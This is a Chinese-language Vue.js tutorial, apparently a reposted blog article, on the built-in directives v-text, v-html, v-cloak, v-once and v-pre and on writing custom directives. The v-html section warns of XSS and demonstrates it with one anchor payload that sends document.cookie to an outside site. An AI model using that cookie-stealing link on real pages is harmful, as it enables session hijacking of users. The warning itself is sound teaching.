ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

VUE学习(九)、内置指令、自定义指令

2022-01-27 16:34:57  阅读:127  来源: 互联网

标签:VUE name 自定义 binding value element Vue 指令


VUE学习(九)、内置指令、自定义指令

1、v-text指令

<body>
	<!-- 
		我们学过的指令:
			v-bind	: 单向绑定解析表达式, 可简写为 :xxx
			v-model	: 双向数据绑定
			v-for  	: 遍历数组/对象/字符串
			v-on   	: 绑定事件监听, 可简写为@
			v-if 	 	: 条件渲染(动态控制节点是否存存在)
			v-else 	: 条件渲染(动态控制节点是否存存在)
			v-show 	: 条件渲染 (动态控制节点是否展示)
		v-text指令:
			1.作用:向其所在的节点中渲染文本内容。
			2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
        <!-- 推荐使用插值语法 -->
		<div>你好,{{name}}</div>
		<div v-text="name"></div>
        <!-- 不会解析标签 -->
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			name:'学习vue',
			str:'<h3>你好啊!</h3>'
		}
	})
</script>

2、v-html指令

<body>
	<!-- 
		v-html指令:
			1.作用:向指定节点中渲染包含html结构的内容。
			2.与插值语法的区别:
				(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
				(2).v-html可以识别html结构。
			3.严重注意:
			v-html有安全性问题!!!!
				(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
				(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: "#root",
		data: {
			name: "醉瑾",
			str: "<h3>你好啊!</h3>",
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
		}
	});
</script>

3、v-cloak指令

<style>
	[v-cloak]{
		display:none;
	}
</style>
<body>
	<!-- 
		v-cloak指令(没有值):
			1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
			2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 
			添加一个v-cloak属性,在vue.js文件未加载完成时利用css实现隐藏,
			当vue接管容器后立即删除v-cloak属性,并渲染页面。
			---用户网速慢时可能会出现vue.js文件加载缓慢,此时为了防止出现
			页面显示{{xxxx}}等情况可以用此属性配合css实现vue加载之前先隐藏
			-->
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="../js/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			name:'醉瑾'
		}
	})
</script>

4、v-once指令(不是once)

<body>
	<!-- 
		v-once指令:
			1.v-once所在节点在初次动态渲染后,就视为静态内容了。
			2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-once>初始化的n值是:{{n}}</h2>
		<h2>当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	
	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

5、v-pre指令

<body>
	<!-- 
		v-pre指令:
			1.跳过其所在节点的编译过程。
			2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 v-pre>Vue其实很简单</h2>
		<h2 >当前的n值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

6、自定义指令

<body>
	<!-- 
		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
		自定义指令总结:
			一、定义语法:
				(1).局部指令:
					new Vue({
						directives:{指令名:配置对象}
					})
					或									
					new Vue({
						directives{指令名:回调函数}
					})
				(2).全局指令:
					Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

			二、配置对象中常用的3个回调:
				(1).bind:指令与元素成功绑定时调用。
				(2).inserted:指令所在元素被插入页面时调用。
				(3).update:指令所在模板结构被重新解析时调用。

			三、备注:
				1.指令定义时不加v-,但使用时要加v-;
				2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr/>
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */

	new Vue({
		el:'#root',
		data:{
			name:'醉瑾',
			n:1
		},
		// 自定义指令
		directives:{
			//big函数何时会被调用?
			//1.指令与元素成功绑定时(一上来)。
			//2.指令所在的模板被重新解析时。
			/* 
				多个单词指令情况
				'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, 
			*/
			// 所有指令相关的回调里面的this都是window对象,而不是vm实例
			// 函数式
			big(element,binding){
				// element 绑定元素
				// binding 绑定表达式
				console.log(element,binding);
				console.log('big',this) //注意此处的this是window
				// console.log('big')
				element.innerText = binding.value * 10
			},
			// 对象式(如果用函数式就不能实现某些特性,如获取焦点)
			fbind:{
				//指令与元素成功绑定时(一上来)
				bind(element,binding){
					element.value = binding.value
				},
				//指令所在元素被插入页面时(特殊需求如获取焦点、改变父元素,兄弟元素等等)
				inserted(element,binding){
					element.focus()
				},
				//指令所在的模板被重新解析时
				update(element,binding){
					element.value = binding.value
				}
			}
		}
	})
	
</script>

标签:VUE,name,自定义,binding,value,element,Vue,指令
来源: https://blog.csdn.net/qq_46452300/article/details/122719801

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有